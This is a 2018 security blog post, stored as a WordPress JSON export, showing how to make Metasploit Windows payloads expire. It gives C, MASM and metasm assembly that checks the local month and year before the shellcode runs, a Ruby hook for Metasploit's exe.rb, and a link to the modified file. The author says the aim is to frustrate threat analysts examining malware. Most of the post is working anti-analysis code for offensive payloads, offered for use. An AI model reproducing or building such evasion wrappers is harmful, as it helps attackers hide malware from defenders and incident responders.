{"id":1511,"date":"2018-01-19T20:07:41","date_gmt":"2018-01-19T20:07:41","guid":{"rendered":"http:\/\/www.gironsec.com\/blog\/?p=1511"},"modified":"2018-01-19T20:07:41","modified_gmt":"2018-01-19T20:07:41","slug":"expiring-payloads-in-the-metasploit-framework","status":"publish","type":"post","link":"https:\/\/www.gironsec.com\/blog\/2018\/01\/expiring-payloads-in-the-metasploit-framework\/","title":{"rendered":"Expiring Payloads in the Metasploit Framework"},"content":{"rendered":"<p>Happy clucking new year everyone! <\/p>\n<p>People say i don&#8217;t &#8220;gave back&#8221; to the hacker community enough. That I&#8217;m &#8220;too cool&#8221; for school. Well I got a blog post for those people.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/rage.gif\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/rage.gif\" alt=\"\" width=\"500\" height=\"500\" class=\"alignnone size-full wp-image-1520\" \/><\/a><\/p>\n<p>What&#8217;s something that would be super annoying as a threat analyst? What if you had a piece of malware that only worked temporarily? Regardless of if the C&#038;C is up, most malware works out of the box. Let&#8217;s change that! Let&#8217;s make our payloads expire!<\/p>\n<p>What is needed? A few simple API calls, some assembly, some ruby, and some time.<\/p>\n<p>First we make it in C&#8230;<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008080\">#include &lt;windows.h&gt;<\/span>\r\nWORD month = <span style=\"color: #0000FF\">12<\/span>;\r\nWORD year = <span style=\"color: #0000FF\">2017<\/span>;\r\n\r\n<span style=\"color: #000080; font-weight: bold\">int<\/span> main(<span style=\"color: #000080; font-weight: bold\">void<\/span>)\r\n{\r\n    SYSTEMTIME lt;\r\n    GetLocalTime(&amp;lt);\r\n\t<span style=\"color: #000080; font-weight: bold\">if<\/span>(month  == lt.wMonth &amp;&amp; year == lt.wYear)\r\n\t{\r\n\t\tFatalAppExit(<span style=\"color: #0000FF\">0<\/span>,<span style=\"color: #0000FF\">&quot;cock!&quot;<\/span>);\r\n\t}\r\n\t<span style=\"color: #000080; font-weight: bold\">else<\/span>\r\n\t{\r\n\t\t<span style=\"color: #000080; font-weight: bold\">__asm<\/span>\r\n\t\t{\r\n\t\t\tpush <span style=\"color: #0000FF\">0<\/span>\r\n\t\t\tCall ExitProcess\r\n\t\t}\r\n\t}\r\n}\r\n<\/pre>\n<\/div>\n<p>Then we pull the assembly out with IDA&#8230;<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/expire_assembly.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/expire_assembly.png\" alt=\"\" width=\"843\" height=\"843\" class=\"alignnone size-full wp-image-1515\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/expire_assembly.png 843w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/expire_assembly-150x150.png 150w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/expire_assembly-300x300.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/expire_assembly-768x768.png 768w\" sizes=\"(max-width: 843px) 100vw, 843px\" \/><\/a><\/p>\n<p>Great, nice and easy. Except for the 2 WORD values placed in the AX register. These are from a data section. We need to put this into an assembly project and make it position independent. Why? Because screw read only memory, that&#8217;s why. That means allocate a chunk of memory dynamically and assign it to our SYSTIME structure which is 16 bytes in size. <\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\">      .486\r\n      .model flat, stdcall\r\n      option casemap :none\r\n      include c:<span style=\"color: #a61717; background-color: #e3d2d2\">\\<\/span>masm32<span style=\"color: #a61717; background-color: #e3d2d2\">\\<\/span>include<span style=\"color: #a61717; background-color: #e3d2d2\">\\<\/span>windows.inc\r\n      include c:<span style=\"color: #a61717; background-color: #e3d2d2\">\\<\/span>masm32<span style=\"color: #a61717; background-color: #e3d2d2\">\\<\/span>include<span style=\"color: #a61717; background-color: #e3d2d2\">\\<\/span>kernel32.inc\r\n\t  include c:<span style=\"color: #a61717; background-color: #e3d2d2\">\\<\/span>masm32<span style=\"color: #a61717; background-color: #e3d2d2\">\\<\/span>include<span style=\"color: #a61717; background-color: #e3d2d2\">\\<\/span>user32.inc\r\n      includelib c:<span style=\"color: #a61717; background-color: #e3d2d2\">\\<\/span>masm32<span style=\"color: #a61717; background-color: #e3d2d2\">\\<\/span>lib<span style=\"color: #a61717; background-color: #e3d2d2\">\\<\/span>kernel32.lib\r\n\t  includelib c:<span style=\"color: #a61717; background-color: #e3d2d2\">\\<\/span>masm32<span style=\"color: #a61717; background-color: #e3d2d2\">\\<\/span>lib<span style=\"color: #a61717; background-color: #e3d2d2\">\\<\/span>user32.lib\r\n\r\n<span style=\"color: #008800; font-style: italic\">;SYSTEMTIME STRUCT<\/span>\r\n<span style=\"color: #008800; font-style: italic\">;\twYear WORD ?<\/span>\r\n<span style=\"color: #008800; font-style: italic\">;\twMonth WORD ?<\/span>\r\n<span style=\"color: #008800; font-style: italic\">;\twDayOfWeek WORD ?<\/span>\r\n<span style=\"color: #008800; font-style: italic\">;\twDay WORD ?<\/span>\r\n<span style=\"color: #008800; font-style: italic\">;\twHour WORD ?<\/span>\r\n<span style=\"color: #008800; font-style: italic\">;\twMinute WORD ?<\/span>\r\n<span style=\"color: #008800; font-style: italic\">;\twSecond WORD ?<\/span>\r\n<span style=\"color: #008800; font-style: italic\">;\twMilliseconds WORD ?<\/span>\r\n<span style=\"color: #008800; font-style: italic\">;SYSTEMTIME ENDS ; 16 bytes<\/span>\r\n<span style=\"color: #008800; font-style: italic\">; first 2 words are checked<\/span>\r\n<span style=\"color: #008800; font-style: italic\">; we dont need a data section<\/span>\r\n\r\n<span style=\"color: #008800; font-style: italic\">;    .data<\/span>\r\n<span style=\"color: #008800; font-style: italic\">;      DAY = 0Eh<\/span>\r\n<span style=\"color: #008800; font-style: italic\">;      MONTH = 0Ch<\/span>\r\n<span style=\"color: #008800; font-style: italic\">;      YEAR = 7E1h<\/span>\r\n      \r\n    .code\r\n<span style=\"color: #008800; font-style: italic\">;sysTime SYSTEMTIME &lt;&gt;<\/span>\r\nstart:\r\n\r\n<span style=\"color: #008800; font-style: italic\">; lets figure out how to do this with PIC<\/span>\r\n<span style=\"color: #008800; font-style: italic\">; is now PIC<\/span>\r\n\r\npush    ebp\r\nmov     ebp, esp\r\n<span style=\"color: #008800; font-style: italic\">;sub     esp, 10h<\/span>\r\npush <span style=\"color: #0000FF\">40h<\/span>        <span style=\"color: #008800; font-style: italic\">; PAGE_EXECUTE_READWRITE<\/span>\r\npush <span style=\"color: #0000FF\">1000h<\/span>            <span style=\"color: #008800; font-style: italic\">; MEM_COMMIT<\/span>\r\npush <span style=\"color: #0000FF\">10h<\/span>               <span style=\"color: #008800; font-style: italic\">; 16 bytes needed<\/span>\r\npush <span style=\"color: #0000FF\">0h<\/span>            <span style=\"color: #008800; font-style: italic\">; NULL as we dont care where the allocation is.<\/span>\r\ncall VirtualAlloc\r\nmov ebx, eax           <span style=\"color: #008800; font-style: italic\">; Store allocated address in ebx<\/span>\r\nlea     eax, [ebx]\r\npush    eax             \r\ncall    GetLocalTime\r\nmov     ax, <span style=\"color: #0000FF\">0Ch<\/span> <span style=\"color: #008800; font-style: italic\">; MONTH<\/span>\r\ncmp     ax, [ebx+<span style=\"color: #0000FF\">2<\/span>]\r\njnz     short exitpart\r\nmov     ax, <span style=\"color: #0000FF\">7E1h<\/span> <span style=\"color: #008800; font-style: italic\">; YEAR<\/span>\r\ncmp     ax, [ebx]\r\njz      short continue\r\n\r\nexitpart:\r\npush    <span style=\"color: #0000FF\">0<\/span>\r\ncall    ExitProcess\r\n\r\ncontinue:\r\npush <span style=\"color: #0000FF\">0<\/span>\r\npush <span style=\"color: #0000FF\">65706f6eh<\/span>\r\ncall FatalAppExitA\r\n<span style=\"color: #008800; font-style: italic\">; shellcode start<\/span>\r\nend start\r\n<\/pre>\n<\/div>\n<p>Now we have our assembly code, small and sexy like. Compile it with masm, its like less than a KB. So now, how to we implement this into metasploit? All payloads are processed and wrapped via this class <a href=\"https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/lib\/msf\/util\/exe.rb\">\/lib\/msf\/util\/exe.rb<\/a>. <\/p>\n<p>At <a href=\"https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/lib\/msf\/util\/exe.rb#L1632\">line 1632<\/a>, we have the master code bit responsible for allocating a read\/write\/executable block of memory and copying the shellcode inside.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/line1632.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/line1632.png\" alt=\"\" width=\"919\" height=\"305\" class=\"alignnone size-full wp-image-1522\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/line1632.png 919w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/line1632-300x100.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/line1632-768x255.png 768w\" sizes=\"(max-width: 919px) 100vw, 919px\" \/><\/a><br \/>\nTo ensure our expiration code is hit BEFORE the shellcode is run, we should place our code just before memory is allocated for the shellcode. This is done at <a href=\"https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/lib\/msf\/util\/exe.rb#L1767\">line 1767<\/a>.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/line1767.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/line1767.png\" alt=\"\" width=\"913\" height=\"428\" class=\"alignnone size-full wp-image-1523\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/line1767.png 913w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/line1767-300x141.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/line1767-768x360.png 768w\" sizes=\"(max-width: 913px) 100vw, 913px\" \/><\/a> <\/p>\n<p>In order to make our alterations, we need to make use of &#8216;metasm&#8217;, metasploit&#8217;s crazy assembler. Thankfully its intel-like in syntax. Analysis of the source shows you can&#8217;t just &#8216;call&#8217; api&#8217;s like normal. Instead you have to push a special hash onto the stack, then call the &#8216;ebp&#8217; register. How do we get said hashes? There exists a special python script in <a href=\"https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/external\/source\/shellcode\/windows\/x86\/src\/hash.py\">\/external\/source\/shellcode\/windows\/x86\/src\/hash.py<\/a> for obtaining these hashes. We need 1 hash in particular, the one for <a href=\"https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ms724338(v=vs.85).aspx\">GetLocalTRime<\/a>. <\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/Untitled.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/Untitled-1024x593.png\" alt=\"\" width=\"640\" height=\"371\" class=\"alignnone size-large wp-image-1516\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/Untitled-1024x593.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/Untitled-300x174.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/Untitled-768x445.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/Untitled.png 1103w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><br \/>\nThe output is 0xD92CE33e. Here&#8217;s our addition to the exe.rb file:<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\">;========================================\t\r\n; need chunk of memory <span style=\"color: #000080; font-weight: bold\">for<\/span> SYSTIME struct\r\npush <span style=\"color: #0000FF\">40<\/span>h        \t\t; PAGE_EXECUTE_READWRITE\r\npush <span style=\"color: #0000FF\">1000<\/span>h            \t; MEM_COMMIT\r\npush <span style=\"color: #0000FF\">10<\/span>h               \t; <span style=\"color: #0000FF\">16<\/span> bytes needed\r\npush <span style=\"color: #0000FF\">0<\/span>h            \t\t; NULL as we dont care where the allocation is.\r\npush <span style=\"color: #0000FF\">0xE553A458<\/span>        \t; hash( <span style=\"color: #0000FF\">&quot;kernel32.dll&quot;<\/span>, <span style=\"color: #0000FF\">&quot;VirtualAlloc&quot;<\/span> )\r\ncall ebp               \t; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );\r\nmov ebx, eax           \t; Store allocated address <span style=\"color: #000080; font-weight: bold\">in<\/span> ebx\r\nlea     eax, [ebx]\r\npush    eax             \r\npush <span style=\"color: #0000FF\">0xD92CE33e<\/span>\t\t \t; GetLocalTime with chunk from VirtualAlloc\r\ncall ebp \r\nmov ax,cx\r\n; curtime = Time.new\r\nmov     cx, <span style=\"color: #0000FF\">0<\/span>x<span style=\"color: #008800; font-style: italic\">#{curtime.month.to_s(16)} ; MONTH converted to hex<\/span>\r\ncmp     cx, [ebx+<span style=\"color: #0000FF\">2<\/span>]\r\njnz     short exitpart\r\nmov     cx, <span style=\"color: #0000FF\">0<\/span>x<span style=\"color: #008800; font-style: italic\">#{curtime.year.to_s(16)} ; YEAR converted to hex<\/span>\r\ncmp     cx, [ebx]\r\njz      short wegood\r\n<span style=\"color: #0000FF\">exitpart<\/span>:\r\n\t  push <span style=\"color: #0000FF\">0<\/span>\r\n\t  push <span style=\"color: #0000FF\">0x56A2B5F0<\/span>\r\n\t  call ebp\t\t\t; ExitProcess\r\n\r\n<span style=\"color: #0000FF\">wegood<\/span>:\r\n; passed checks, can start shellcode now\r\n;=====================================\t\r\n<\/pre>\n<\/div>\n<p>Nice eh? We grab the current month and year via ruby code and format it to hex.<\/p>\n<p>Does it work though? Does the pope shit in the woods? It&#8217;s January 2018 and the code works!<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/launch.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/launch.png\" alt=\"\" width=\"482\" height=\"362\" class=\"alignnone size-full wp-image-1517\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/launch.png 482w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/launch-300x225.png 300w\" sizes=\"(max-width: 482px) 100vw, 482px\" \/><\/a><\/p>\n<p>I&#8217;ve made this work by creating a duplicate function (method?) of &#8216;win32_rwx_exec&#8217; in the exe.rb. My idea would be initialization dependent upon an option. That would mean adding the option to Line 19 of <a href=\"https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/lib\/msf\/core\/exploit\/exe.rb\">lib\\msf\\core\\exploit\\exe.rb<\/a><br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\">\t<span style=\"color: #000080; font-weight: bold\">if<\/span> opts[<span style=\"color: #0000FF\">:expire<\/span>]\r\n\t payload = win32_rwx_exec_expire(code)\r\n\t<span style=\"color: #000080; font-weight: bold\">end<\/span>\r\n<\/pre>\n<\/div>\n<p>All that&#8217;s left to do now is submit to MSF and see if they take it \/ import it. If you would like to play with it, download the &#8216;exe.rb&#8217; file here and place it in your <i>[INSTALL_DIR]\/lib\/msf\/util\/<\/i> folder. Download <a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/exe.zip\">it here<\/a>.<\/p>\n<p>I know this may upset a few of you, being just on Windows, but I got your back on part 2. Stay tuned for part 2 when I tackle the Linux addition to my metasploit addition. <\/p>\n<p>Until then, Happy Hacking!<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/1515947839805.jpg\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/1515947839805.jpg\" alt=\"\" width=\"569\" height=\"420\" class=\"alignnone size-full wp-image-1519\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/1515947839805.jpg 569w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/01\/1515947839805-300x221.jpg 300w\" sizes=\"(max-width: 569px) 100vw, 569px\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Happy clucking new year everyone! People say i don&#8217;t &#8220;gave back&#8221; to the hacker community enough. That I&#8217;m &#8220;too cool&#8221; for school. Well I got a blog post for those people. What&#8217;s something that would be super annoying as a threat analyst? What if you had a piece of malware that only worked temporarily? Regardless [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[4,6],"tags":[118,117],"_links":{"self":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1511"}],"collection":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/comments?post=1511"}],"version-history":[{"count":3,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1511\/revisions"}],"predecessor-version":[{"id":1524,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1511\/revisions\/1524"}],"wp:attachment":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/media?parent=1511"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/categories?post=1511"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/tags?post=1511"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}